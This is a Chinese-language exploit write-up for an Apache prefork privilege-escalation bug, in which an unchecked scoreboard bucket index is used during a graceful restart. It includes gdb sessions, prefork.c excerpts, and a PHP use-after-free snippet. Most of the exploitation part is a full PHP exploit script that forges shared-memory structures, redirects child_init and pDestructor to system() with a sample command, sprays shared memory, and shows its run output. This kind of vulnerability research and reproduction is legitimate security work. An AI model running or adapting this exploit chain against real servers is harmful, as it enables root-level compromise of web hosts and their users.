www 12300 0.0 0.2 274344 9336 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart
www 12301 0.0 0.2 274344 8076 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart
www 12302 0.0 0.2 274344 9476 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart
www 12303 0.0 0.2 274344 9476 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart
www 12304 0.0 0.2 274344 8076 ? S 15:12 0:00 /usr/local/httpd//bin/httpd -k restart
为了从工作进程那里获得反馈，Apache维护了一个共享内存区域（SHM），scoreboard，它包含各种信息，例如工作进程PID和他们处理的最后一个请求。
每个工作进程都要维护与其PID相关联的process_score结构，并具有对SHM的完全读/写访问权限。
ap_scoreboard_image: 指向共享内存块的指针
(gdb) p *ap_scoreboard_image
$3 = {
global = 0x7f4a9323e008,
parent = 0x7f4a9323e020,
servers = 0x55835eddea78
}
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820
与工作进程PID 12300关联的共享内存示例
(gdb) p ap_scoreboard_image->parent[0]
$6 = {
pid = 12300,
generation = 0,
quiescing = 0 '\000',
not_accepting = 0 '\000',
connections = 0,
write_completion = 0,
lingering_close = 0,
keep_alive = 0,
suspended = 0,
bucket = 0 <- index for all_buckets
}
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
pid_t pid;
ap_generation_t generation;
char quiescing;
char not_accepting;
apr_uint32_t connections;
apr_uint32_t write_completion;
apr_uint32_t lingering_close;
apr_uint32_t keep_alive;
apr_uint32_t suspended;
int bucket; <- index for all_buckets
}
当Apache优雅重启时()，他的主服务进程杀死所有老的工作进程并用新的工作进程代替。
[root@bogon john]# ps -aux | grep http
root 12836 0.0 0.3 272260 13012 ? Ss 15:35 0:00 /usr/local/httpd//bin/httpd -k start
www 15687 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
www 15688 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
www 15689 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
www 15690 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
www 15691 0.0 0.1 274344 7632 ? S 17:33 0:00 /usr/local/httpd//bin/httpd -k start
root 15904 0.0 0.0 112712 980 pts/0 S+ 17:53 0:00 grep --color=auto http
[root@bogon john]# apachectl graceful
[root@bogon john]# ps -aux | grep http
root 12836 0.0 0.3 272260 13024 ? Ss 15:35 0:00 /usr/local/httpd//bin/httpd -k start
www 15945 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
www 15946 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
www 15947 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
www 15948 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
www 15949 0.0 0.1 274344 7652 ? S 17:53 0:00 /usr/local/httpd//bin/httpd -k start
root 15951 0.0 0.0 112712 976 pts/0 S+ 17:53 0:00 grep --color=auto http
(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
pod = 0x7f19db2c7408,
listeners = 0x7f19db35e9d0,
mutex = 0x7f19db2c7550
}
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex; <-- }
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth; <-- int curr_locked;
char *fname;
...
}
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
...
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <-- ...
}
由于优雅重启，老的工作进程的bucket值会被主服务进程用来访问all_buckets数组.又由于没有进行下标检查，从而会造成提权。
## 0x02 原理分析
1.恶意用户首先修改bucket,并使其指向恶意构造的prefork_child_bucket结构（共享内存中）。
2.优雅重启
主服务进程会杀死以前所有的工作进程，然后调用prefork_run，fork出新的工作进程
<server/mpm/prefork/prefork.c>
//省略无关的部分
static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s)
{
int index;
int remaining_children_to_start;
int i;
ap_log_pid(pconf, ap_pid_fname);
if (!retained->mpm->was_graceful) {//跳过，因为优雅启动时，was_graceful为true
if (ap_run_pre_mpm(s->process->pool, SB_SHARED) != OK) {
retained->mpm->mpm_state = AP_MPMQ_STOPPING;
return !OK;
}
/* fix the generation number in the global score; we just got a new,
* cleared scoreboard
*/
ap_scoreboard_image->global->running_generation = retained->mpm->my_generation;
}
...
if (!retained->mpm->was_graceful) {
startup_children(remaining_children_to_start);
remaining_children_to_start = 0;
}
...
while (!retained->mpm->restart_pending && !retained->mpm->shutdown_pending) {
...
ap_wait_or_timeout(&exitwhy, &status, &pid, pconf, ap_server_conf);//获取被杀死的工作进程的PID
...
if (pid.pid != -1) {
processed_status = ap_process_child_status(&pid, exitwhy, status);
child_slot = ap_find_child_by_pid(&pid);//获取PID对应于计分板中对应parent的下标
...
/* non-fatal death... note that it's gone in the scoreboard. */
if (child_slot >= 0) {
(void) ap_update_child_status_from_indexes(child_slot, 0, SERVER_DEAD,
(request_rec *) NULL);
prefork_note_child_killed(child_slot, 0, 0);
if (processed_status == APEXIT_CHILDSICK) {
/* child detected a resource shortage (E[NM]FILE, ENOBUFS, etc)
* cut the fork rate to the minimum
*/
retained->idle_spawn_rate = 1;
}
else if (remaining_children_to_start
&& child_slot < ap_daemons_limit) {//如果工作进程的死亡不是致命的
/* we're still doing a 1-for-1 replacement of dead
* children with new children
*/
make_child(ap_server_conf, child_slot,
ap_get_scoreboard_process(child_slot)->bucket);//则将死亡的工作进程的bucket作为参数传递（注意：bucket我们可以用“非常规手段”进行修改，从而提权）
--remaining_children_to_start;
}
}
}
return OK;
}
make_child：
static int make_child(server_rec *s, int slot, int bucket)
{
...
if (!pid) {
my_bucket = &all_buckets[bucket];//使my_bucket指向共享内存中的到恶意构造的prefork_child_bucket结构
...
child_main(slot, bucket);
...
return 0;
}
static void child_main(int child_num_arg, int child_bucket)
{
...
status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
apr_proc_mutex_lockfile(my_bucket->mutex),
pchild));//如果Apache侦听两个或更多端口，则SAFE_ACCEPT（<code>）将仅执行<code>(这通常是因为服务器侦听HTTP（80）和HTTPS（443）)
...
}
APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex,
const char *fname,
apr_pool_t *pool)
{
return (*mutex)->meth->child_init(mutex, pool, fname);
}
如果apr_proc_mutex_child_init执行，这导致（* mutex） – > meth->
child_init（mutex，pool，fname）被调用，从而执行恶意代码（注意，执行恶意代码的时候，进程仍然处于root权限，后面才降低自身的权限）。
## 0x03 通过gdb恶意修改bucket值造成的崩溃
(gdb)
716 child_main(slot, bucket);
(gdb) s
child_main (child_num_arg=child_num_arg@entry=0, child_bucket=child_bucket@entry=80808080) at prefork.c:380
380 {
(gdb) n
..........
432 status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
(gdb) s
Program received signal SIGSEGV, Segmentation fault.
0x000000000046c16b in child_main (child_num_arg=child_num_arg@entry=0,
child_bucket=child_bucket@entry=80808080) at prefork.c:432
432 status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex,
## 0x04 利用
利用分4个步骤
* 获得工作进程的R/W访问权限
* 在共享内存中写一个假的prefork_child_bucket结构
* 使all_buckets [bucket]指向该结构
* 等待早上6:25获得任意函数调用
问题：PHP不允许读写/proc/self/mem， 这会阻止我们利用简单方法编辑共享内存
#### 获取工作进程内存的R/W访问权限
##### PHP UAF 0-day
由于mod_prefork经常与mod_php结合使用，因此通过PHP利用漏洞似乎很自然。我们使用PHP 7.x中的0day
UAF（这似乎也适用于PHP5.x）来完成利用(也可以利用CVE-2019-6977)
<?php
class X extends DateInterval implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $p;
unset($y[0]);
$p = $this->y;
return $this;
}
}
function get_aslr()
{
global $p, $y;
$p = 0;
$y = [new X('PT1S')];
json_encode([1234 => &$y]);
print("ADDRESS: 0x" . dechex($p) . "\n");
return $p;
}
get_aslr();
这是PHP对象上的UAF： 我们unset $y[0]（X的一个实例），但它仍然可以通过$this使用。
##### UAF导致读/写
我们希望实现两件事：
* 读取内存以查找all_buckets的地址
* 编辑共享内存，修改bucket，添加我们自定义的恶意结构
幸运的是，PHP的堆位于内存中的那两个之前。
PHP堆，ap_scoreboard_image，all_buckets的内存地址
root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p
7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so
(gdb) p *ap_scoreboard_image
$14 = {
global = 0x7f4a9323e008,
parent = 0x7f4a9323e020,
servers = 0x55835eddea78
}
(gdb) p all_buckets
$15 = (prefork_child_bucket *) 0x7f4a9336b3f0
由于我们在PHP对象上触发UAF，因此该对象的任何属性也将是UAF; 我们可以将这个zend_object
UAF转换为zend_string。因为zend_string的结构非常有用：
(gdb) ptype zend_string
type = struct _zend_string {
zend_refcounted_h gc;
zend_ulong h;
size_t len;
char val[1];
}
len属性包含字符串的长度。 通过递增它，我们可以在内存中进一步读写，从而访问我们感兴趣的两个内存区域:共享内存和all_buckets。
##### 定位bucket index 和 all_buckets
我们需要修改ap_scoreboard_image->parent[worker_id]->bucket中的parent结构中的bucket。幸运的是，parent结构总是处于共享内存块的开始，因此很容易找到：
➜ /www curl 127.0.0.1
PID: 14380
7f8a19da9000-7f8a19dc1000 rw-s 00000000 00:04 61736 /dev/zero (deleted)
➜ /www
(gdb) p &ap_scoreboard_image->parent[0]
$1 = (process_score *) 0x7f8a19da9040
(gdb) p &ap_scoreboard_image->parent[1]
$2 = (process_score *) 0x7f8a19da9064
(gdb)
为了定位到all_buckets,我们可以利用我们对prefork_child_bucket结构的了解:
prefork_child_bucket {
ap_pod_t *pod;
ap_listen_rec *listeners;
apr_proc_mutex_t *mutex; <-- }
apr_proc_mutex_t {
apr_pool_t *pool;
const apr_proc_mutex_unix_lock_methods_t *meth; <-- int curr_locked;
char *fname;
...
}
apr_proc_mutex_unix_lock_methods_t {
unsigned int flags;
apr_status_t (*create)(apr_proc_mutex_t *, const char *);
apr_status_t (*acquire)(apr_proc_mutex_t *);
apr_status_t (*tryacquire)(apr_proc_mutex_t *);
apr_status_t (*release)(apr_proc_mutex_t *);
apr_status_t (*cleanup)(void *);
apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <-- apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
apr_lockmech_e mech;
const char *name;
}
all_buckets[0]->mutex 与 all_buckets[0]
位于同一个内存区域中（我的是第一个heap内存区域中）。apr_proc_mutex_unix_lock_methods_t是一个静态结构，位于libapr的.data，因此meth指针指向libapr中的data段中，且apr_proc_mutex_unix_lock_methods_t结构中的函数，位于libapr中的text段中。
由于我们可以通过/proc/self/maps来了解这些内存区域，我们可以遍历Apache内存中的每一个指针，找到一个匹配该结构的指针，这将是all_buckets
[0]。
注意，all_buckets的地址在每次正常重启时都会发生变化。这意味着当我们的漏洞触发时，all_buckets的地址将与我们找到的地址不同。
必须考虑到这一点; 我们稍后会解决该问题。
#### 向共享内存中写入恶意prefork_child_bucket结构
任意函数调用的代码路径如下
bucket_id = ap_scoreboard_image->parent[id]->bucket
my_bucket = all_buckets[bucket_id]
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
(*mutex)->meth->child_init(mutex, pool, fname)
为了利用，我们使(mutex)->meth->child_init指向zend_object_std_dtor(zend_object
object),这产生以下链:
mutex = &my_bucket->mutex
[object = mutex]
zend_object_std_dtor(object)
ht = object->properties
zend_array_destroy(ht)
zend_hash_destroy(ht)
val = &ht->arData[0]->val
ht->pDestructor(val)
pDestructor 使其指向system函数，&ht->arData[0]->val为system函数的字符串。
如我们所见，两个最左边的两个结构是可以叠加的(prefork_child_bucket,zend_object结构)。
#### 使all_buckets [bucket]指向恶意构造的结构
由于all_buckets地址在每次优雅重启之后会改变，我们需要对其进行改进，有两种改进：喷射共享内存和使用每个process_score结构。
##### 喷射共享内存
如果all_buckets的新地址离旧地址不远，my_bucket将会大概指向我们的结构。因此，我们可以将其全部喷射在共享内存的未使用部分上，而不是将我们的prefork_child_bucket结构放在共享内存的精确位置。但是问题是，该结构也用于作为zend_object结构，因此它的大小为（5
* 8）40个字节以包含zend_object.properties字段。在共享内存中，喷射该混合结构，对我们没有帮助。
为了解决该问题，我们叠加apr_proc_mutex_t和zend_array结构，并将其地址喷洒在共享内存的其余部分。影响将是prefork_child_bucket.mutex和zend_object.properties指向同一地址。
现在，如果all_bucket重新定位没有远离其原始地址，my_bucket将位于喷射区域。
##### 使用每个process_score结构
每个Apache工作进程都有一个关联的process_score结构，并且每一个都有一个bucket索引。我们可以改变它们中的每一个，而不是改变一个process_score.bucket值，以使它们覆盖内存的另一部分。
例如：
ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00
ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00
ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000
这样一来，我们的成功率就是原始成功率乘以Apache Worker的数量。 作者通过在共享内存中查找worker
process的PID从而定位到每个process_score结构，并利用被UAF漏洞修改过的字符串结构对bucket字段值进行修改。
#### 成功率
不同的Apache服务具有不同数量的工作进程。
拥有更多的工作进程意味着我们可以在更少的内存上喷射互斥锁的地址，但这也意味着我们可以为all_buckets指定更多的索引。
这意味着拥有更多工作进程可以提高我们的成功率。 在测试Apache服务器上尝试了4个工作进程（默认）后，成功率大约为80％。
随着更多工作进程，成功率跃升至100％左右。
同样，如果漏洞利用失败，它可以在第二天重新启动，因为Apache仍将正常重启。 然而，Apache的error.log将包含有关其工作进程段错误的通知。
## 0x05 利用PHP扩展模块体验任意函数执行
为了更好的理解该漏洞，我们用PHP扩展，来模拟PHP UAF，以达到任意地址读写。
#### 环境
操作系统:CentOS 7 x64
Apache版本:Apache/2.4.38 (Unix)
PHP版本:PHP 7.3.3
Apache 编译选项:
./configure --prefix=/usr/local/httpd/ \
--sysconfdir=/etc/httpd/ \
--with-include-apr \
--disable-userdir \
--enable-headers \
--with-mpm=prefork \
--enable-modules=most \
--enable-so \
--enable-deflate \
--enable-defate=shared \
--enable-expires-shared \
--enable-rewrite=shared \
--enable-static-support \
--with-apr=/usr/local/apr/ \
--with-apr-util=/usr/local/apr-util/bin \
--with-ssl \
--with-z
PHP编译选项:
./configure --prefix=/usr/local/php/ \
--with-config-file-path=/usr/local/php/etc/ \
--with-apxs2=/usr/local/httpd/bin/apxs \
--enable-fpm \
--with-zlib \
--with-libxml-dir \
--enable-sockets \
--with-curl \
--with-jpeg-dir \
--with-png-dir \
--with-gd \
--with-iconv-dir \
--with-freetype-dir \
--enable-gd-native-ttf \
--with-xmlrpc \
--with-openssl \
--with-mhash \
--with-mcrypt \
--with-pear \
--enable-mbstring \
--enable-sysvshm \
--enable-zip \
--disable-fileinfo
PHP扩展
[root@bogon php-extension]# cat read_mem.c
#include <stdio.h>
#include <stdint.h>
long read_mem(long addr)
{
return (unsigned long)(*((uint8_t*)(addr)));
}
[root@bogon php-extension]# cat write_mem.c
#include <stdio.h>
#include <stdint.h>
void write_mem(long addr,long data)
{
*((uint8_t*)addr) = data;
}
[root@bogon php-extension]#
#### 问题
我在Apache 2.4.38 与 Apache
2.4.25中，测试发现all_buckets的地址与共享内存的地址之间的差值，远远不是一个4字节能表示的（bucket索引4字节）。所以在我的演示中，需要通过gdb来修改
my_bucket = &all_buckets[bucket];//prefork.c:685
my_bucket的值，来模拟修改bucket，使其指向恶意的prefork_child_bucket结构。
#### PHP利用代码
<?php
function read_mem_dword($addr)
{
$ret = 0;
for($j = 0;$j<4;$j++){
$ret += read_mem($addr+$j) * pow(256,$j);
}
return $ret;
}
function read_mem_qword($addr)
{
$ret = 0;
for($j = 0;$j<8;$j++){
$ret += read_mem($addr+$j) * pow(256,$j);
}
return $ret;
}
function read_mem_byte($addr)
{
return read_mem($addr);
}
function write_mem_qword($addr,$data)
{
for($j=0;$j<8;$j++){
$b = (0xff&(($data)>>($j*8)));
write_mem($addr+$j,$b);
}
}
function write_mem_dword($addr,$data)
{
for($j=0;$j<4;$j++){
$b = (0xff&(($data)>>($j*8)));
write_mem($addr+$j,$b);
}
}
function write_mem_byte($addr,$data)
{
write_mem($addr,$data);
}
/*
get_mem_region:
str为，maps文件中的特征字符串,用于搜索指定的内存区域
返回值为:
array(2) {
[0]=>//第一个匹配的内存区域
array(2) {
[0]=>
int(140231115968512)//起始地址
[1]=>
int(140231116066816)//结束地址
[2]=>
string(4) "rw-s"//保护权限
}
[1]=>//第二个匹配的内存区域
array(2) {
[0]=>
int(140231116201984)
[1]=>
int(140231116718080)
[2]=>
string(4) "rw-s"//保护权限
}
}
*/
function get_mem_region($str)
{
$file = fopen("/proc/self/maps","r");
$result_index = 0;
$result = array();
while(!feof($file)){
$line = fgets($file);
if(strpos($line,$str)){
$addr_len = 0;
for(;$line[$addr_len]!='-';$addr_len++);
$start_addr_str = substr($line,0,$addr_len);
$end_addr_str = substr($line,$addr_len+1,$addr_len);
$result[$result_index][0] = hexdec($start_addr_str);
$result[$result_index][1] = hexdec($end_addr_str);
$result[$result_index][2] = substr($line,$addr_len*2+2,4);
$result_index++;
}
}
fclose($file);
return $result;
}
function locate_parent_arr_addr()//获取共享内存中，parent数组的首地址
{
$my_pid = getmypid();
$shm_region = get_mem_region("/dev/zero");
if(!count($shm_region))
return 0;
//parent数组项的大小是，每个0x20个字节
//pid_t在我环境中，大小4字节
$pid_t_size = 4;
$parent_size = 0x24;
//只检查共享内存的前0x1000字节(4KB)
for($i = 0;$i<0x1000;$i++){
$hit_count = 0;
for($j = 0;$j<5;$j++){//循环次数，请参考httpd-mpm.conf中的prefork的MinSpareServers
$pid = read_mem_dword($shm_region[0][0]+ $i + $j*$parent_size);
if( $my_pid - 20 < $pid && $pid < $my_pid+20){//因为prefork中，进程的pid是紧挨的，我们可以通过这个来判断是否是parent数组的首地址
$hit_count++;
}
}
if($hit_count == 5){
return $shm_region[0][0]+$i;
}
}
return 0;
}
function locate_self_parent_struct_addr()//获取共享内存中，当前parent的首地址
{
$my_pid = getmypid();
$shm_region = get_mem_region("/dev/zero");
if(!count($shm_region))
return 0;
//因为parent数组，总是位于第一个/dev/zero中，所以，我们只搜索第一个
echo "/dev/zero start addr:0x".dechex($shm_region[0][0])."\n";
echo "/dev/zero end addr:0x".dechex($shm_region[0][1])."\n";
for($i =0;$i<4096;$i++){
$pid = read_mem_dword($shm_region[0][0]+$i);//pid_t在我的环境中，为4字节大小
if($pid == $my_pid){
return $shm_region[0][0]+$i;//找到直接返回
}
}
return 0;
}
//获取all_buckets的地址
function locate_all_buckets_addr()
{
$heap_region = get_mem_region("heap");//在我的环境中，all_bucket位于第一个heap中
$libapr_region = get_mem_region("libapr-");
if(!count($heap_region) || !count($libapr_region))
return 0;
$heap_start_addr = $heap_region[0][0];
$heap_end_addr = $heap_region[0][1];
echo "heap start addr:0x".dechex($heap_start_addr)."\n";
echo "heap end addr:0x".dechex($heap_end_addr)."\n";
$libapr_text_start_addr = 0;
$libapr_data_start_addr = 0;
$libapr_text_end_addr = 0;
$libapr_data_end_addr = 0;
for($i = 0;$i<count($libapr_region);$i++){
if($libapr_region[$i][2] === "r-xp"){//代码段
$libapr_text_start_addr = $libapr_region[$i][0];
$libapr_text_end_addr = $libapr_region[$i][1];
continue;
}
if($libapr_region[$i][2] === "r--p"){//const data
$libapr_data_start_addr = $libapr_region[$i][0];
$libapr_data_end_addr = $libapr_region[$i][1];
continue;
}
}
echo "libapr text start addr:0x".dechex($libapr_text_start_addr)."\n";
echo "libapr text end addr:0x".dechex($libapr_text_end_addr)."\n";
echo "libapr data start addr:0x".dechex($libapr_data_start_addr)."\n";
echo "libapr data end addr:0x".dechex($libapr_data_end_addr)."\n";
$result = array();
$result_index = 0;
for($i = 0;$i<$heap_end_addr - $heap_start_addr;$i+=8){//遍历heap
$mutex_addr = read_mem_qword($heap_start_addr + $i);//prefork_child_bucket中的mutex
if( $heap_start_addr <$mutex_addr && $mutex_addr<$heap_end_addr ){
$meth_addr = read_mem_qword($mutex_addr + 8);//apr_proc_mutex_t中的meth
if( $libapr_data_start_addr < $meth_addr && $meth_addr < $libapr_data_end_addr){
$function_point = read_mem_qword($meth_addr+8);
if($libapr_text_start_addr < $function_point && $function_point < $libapr_text_end_addr){
$result[$result_index++] = $heap_start_addr + $i - 8 -8;
}
}
}
}
//在我的环境中，有多个地址满足是all_buckets 地址的要求，但是只有第3个才是正确的
if( count($result)!= 4 ){
return 0;
}
else{
return $result[2];
}
}
echo "PID: ".getmypid()."\n";
$parent_struct_addr = locate_self_parent_struct_addr();
if($parent_struct_addr == 0){
die("get self parent struct addr error\n");
}
echo "self parent struct addr:0x".dechex($parent_struct_addr)."\n";
$parent_arr_addr = locate_parent_arr_addr();
if($parent_arr_addr){
echo "parent arr addr:0x".dechex($parent_arr_addr)."\n";
}
$all_buckets_addr = locate_all_buckets_addr();
if($all_buckets_addr == 0){
die("get all_buckets addr error\n");
}
echo "all_buckets addr:0x".dechex($all_buckets_addr)."\n";
$evil_parent_start_addr = $parent_arr_addr + 0x24 * 10;//(我这里的parent 就是 prefork_child_bucket结构，0x24是每个prefork_child_bucket的大小，10参考http-mpm.conf中prefork的MaxSpareServers)
echo "evil prefork_child_bucket start addr:0x".dechex($evil_parent_start_addr)."\n";
//我们需要将prefork_child_bucket与zend_object结合，使其包含zend_object 的 properties字段,因此prefork_child_bucket的"大小"是40+16字节
$evil_parent_end_addr = $evil_parent_start_addr + 40+16;
echo "evil prefork_child_bucket end addr:0x".dechex($evil_parent_end_addr)."\n";
//将apr_proc_mutex_t结构与zend_array结构结合为一个结构
$evil_zend_array_start_addr = $evil_parent_end_addr;
echo "evil zend_array start addr:0x".dechex($evil_zend_array_start_addr)."\n";
$evil_zend_array_end_addr = $evil_zend_array_start_addr + 0x38;
echo "evil zend_array end addr:0x".dechex($evil_zend_array_end_addr)."\n";
//apr_proc_mutex_unix_lock_methods_t结构
$evil_mutex_methods_start_addr = $evil_zend_array_end_addr;
$evil_mutex_methods_end_addr = $evil_mutex_methods_start_addr + 0x50;
echo "evil mutex_methods start addr:0x".dechex($evil_mutex_methods_start_addr)."\n";
echo "evil mutex_methods end addr:0x".dechex($evil_mutex_methods_end_addr)."\n";
//system()中的字符串
$evil_string = "touch /hello";
$evil_string_len = strlen($evil_string)+1;//\0结尾
if($evil_string_len%8){//对齐
$evil_string_len = ((int)($evil_string_len/8)+1)*8;
}
echo "evil string: ".$evil_string." len:".$evil_string_len."\n";
$evil_string_start_addr = $evil_mutex_methods_end_addr;
$evil_string_end_addr = $evil_string_start_addr + $evil_string_len;
echo "evil string start addr:0x".dechex($evil_string_start_addr)."\n";
echo "evil string end addr:0x".dechex($evil_string_end_addr)."\n";
//查找zend_object_std_dtor的地址(我的在libphp7.so)
$zend_object_std_dtor_addr = 0;
$libphp_region = get_mem_region("libphp");
if(!count($libphp_region)){
die("can't find zend_object_std_dtor function addr\n");
}
for($i = 0;$i<count($libphp_region);$i++){
if($libphp_region[$i][2] === "r-xp"){
$zend_object_std_dtor_addr = $libphp_region[$i][0]+0x4F8300;//zend_object_std_dtor 在libphp7.so代码段中的偏移
break;
}
}
if($zend_object_std_dtor_addr === 0){
die("can't find zend_object_std_dtor function addr\n");
}
echo "zend_object_std_dtor function addr:0x".dechex($zend_object_std_dtor_addr)."\n";
//查找system函数的地址(在libpthread中)
$system_addr = 0;
$pthread_region = get_mem_region("pthread");
if(!count($pthread_region)){
die("can't find system function addr\n");
}
for($i = 0;$i<count($pthread_region);$i++){
if($pthread_region[$i][2] === "r-xp"){
$system_addr = $pthread_region[$i][0]+0xF4C0;//system 在libpthread-2.17.so代码段中的偏移
break;
}
}
if($system_addr === 0){
die("can't find system function addr\n");
}
echo "system function addr:0x".dechex($system_addr)."\n";
//将apr_proc_mutex_unix_lock_methods_t中的child_init改为zend_object_std_dtor
$child_init = $evil_mutex_methods_start_addr+0x30;
echo "child_init(0x".dechex($child_init).") => zend_object_std_dtor\n";
write_mem_qword($evil_mutex_methods_start_addr+0x30,$zend_object_std_dtor_addr);
//将混合结构zend_array的pDestructor指向system
$pDestructor = $evil_zend_array_start_addr + 0x30;
echo "pDestructor(0x".dechex($pDestructor).") => system\n";
write_mem_qword($pDestructor,$system_addr);
//将混合结构zend_array的meth指向apr_proc_mutex_unix_lock_methods_t
$meth = $evil_zend_array_start_addr + 0x8;
echo "meth(0x".dechex($meth).") => mutex_mthods_struct\n";
write_mem_qword($meth,$evil_mutex_methods_start_addr);
write_mem_qword($evil_zend_array_start_addr,0x1);
//将prefork_child_bucket中的mutex指向混合结构zend_array
$mutex = $evil_parent_start_addr + 0x10;
echo "mutex(0x".dechex($mutex).") => zend_array struct\n";
write_mem_qword($mutex,$evil_zend_array_start_addr);
//将混合结构prefork_child_bucket中的properties指向zend_array结构
$properties = $evil_parent_start_addr + 0x20+0x10;
echo "properties(0x".dechex($properties).") => zend_array struct\n";
write_mem_qword($properties,$evil_zend_array_start_addr);
//system 字符串 写入
for($i = 0;$i<strlen($evil_string);$i++){
$b = ord($evil_string[$i]);
write_mem($evil_string_start_addr+$i,$b);
}
write_mem($evil_string_start_addr+$i,0);
//将zend_array中的arData指向system字符串
$ar_data = $evil_zend_array_start_addr + 0x10;
echo "ar_data(0x".dechex($ar_data).") => evil string\n";
write_mem_qword($ar_data,$evil_string_start_addr);
//将zend_array中的nNumUsed设置为1，（自行分析代码去）
$nNumUsed = $evil_zend_array_start_addr + 0x18;
write_mem_qword($nNumUsed,1);
//堆喷
echo "\nSpraying the shared memory start\n\n";
$shm_region = get_mem_region("/dev/zero");
$evil_shm_start_addr = $evil_string_end_addr;
$evil_shm_end_addr = $shm_region[0][1];
$evil_shm_size = $evil_shm_end_addr - $evil_shm_start_addr;
$evil_shm_mid_addr = $evil_shm_start_addr + 8*((int)(((int)($evil_shm_size/2))/8) + 1);
echo "evil_shm_start:0x".dechex($evil_shm_start_addr)."\n";
echo "evil_shm_end:0x".dechex($evil_shm_end_addr)."\n";
echo "evil_shm_size:".dechex($evil_shm_size)."\n";
for($i = 0;$i<$evil_shm_size;$i+=8){
write_mem_qword($evil_shm_start_addr+$i,$evil_zend_array_start_addr);
}
echo "evil_shm_mid_addr:0x".dechex($evil_shm_mid_addr)."\n";
echo "bucket:".dechex($bucket)."\n";
?>
利用成功时，会在根目录下，创建hello文件
#### 步骤
##### 根目录显示
➜ ~ ls /
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var www
##### 让服务器执行恶意php代码
➜ ~ curl 127.0.0.1
PID: 19896
/dev/zero start addr:0x7f1f62a32000
/dev/zero end addr:0x7f1f62a4a000
self parent struct addr:0x7f1f62a32040
parent arr addr:0x7f1f62a32040
heap start addr:0xf59000
heap end addr:0x1022000
libapr text start addr:0x7f1f61ffa000
libapr text end addr:0x7f1f6202f000
libapr data start addr:0x7f1f6222e000
libapr data end addr:0x7f1f6222f000
all_buckets addr:0xff0c18
evil prefork_child_bucket start addr:0x7f1f62a321a8
evil prefork_child_bucket end addr:0x7f1f62a321e0
evil zend_array start addr:0x7f1f62a321e0
evil zend_array end addr:0x7f1f62a32218
evil mutex_methods start addr:0x7f1f62a32218
evil mutex_methods end addr:0x7f1f62a32268
evil string: touch /hello len:16
evil string start addr:0x7f1f62a32268
evil string end addr:0x7f1f62a32278
zend_object_std_dtor function addr:0x7f1f5c03d300
system function addr:0x7f1f617a94c0
child_init(0x7f1f62a32248) => zend_object_std_dtor
pDestructor(0x7f1f62a32210) => system
meth(0x7f1f62a321e8) => mutex_mthods_struct
mutex(0x7f1f62a321b8) => zend_array struct
properties(0x7f1f62a321d8) => zend_array struct
ar_data(0x7f1f62a321f0) => evil string
Spraying the shared memory start
evil_shm_start:0x7f1f62a32278
evil_shm_end:0x7f1f62a4a000
evil_shm_size:17d88
evil_shm_mid_addr:0x7f1f62a3e140
bucket:fe3ec349aa5
此时，共享内存中，已经被我们的恶意数据给填充。
##### 为通过gdb模拟修改bucket指向我们的恶意结构做准备
[root@bogon john]# ps -aux | grep httpd
root 19895 0.0 0.2 285296 10652 ? Ss 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19896 0.0 0.2 287512 9348 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19897 0.0 0.1 287512 7616 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19898 0.0 0.1 287512 7616 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19899 0.0 0.1 287512 7616 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
www 19900 0.0 0.1 287512 7616 ? S 14:27 0:00 /usr/local/httpd//bin/httpd -k start
root 20112 0.0 0.0 112708 980 pts/2 R+ 14:30 0:00 grep --color=auto httpd
[root@bogon john]# gdb attach 19895
(gdb) break child_main
Breakpoint 1 at 0x46c000: file prefork.c, line 380.
(gdb) set follow-fork-mode child
(gdb) c
